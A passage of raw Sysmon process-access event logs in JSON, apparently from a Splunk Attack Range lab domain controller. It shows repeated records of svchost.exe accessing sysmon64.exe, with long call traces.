Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 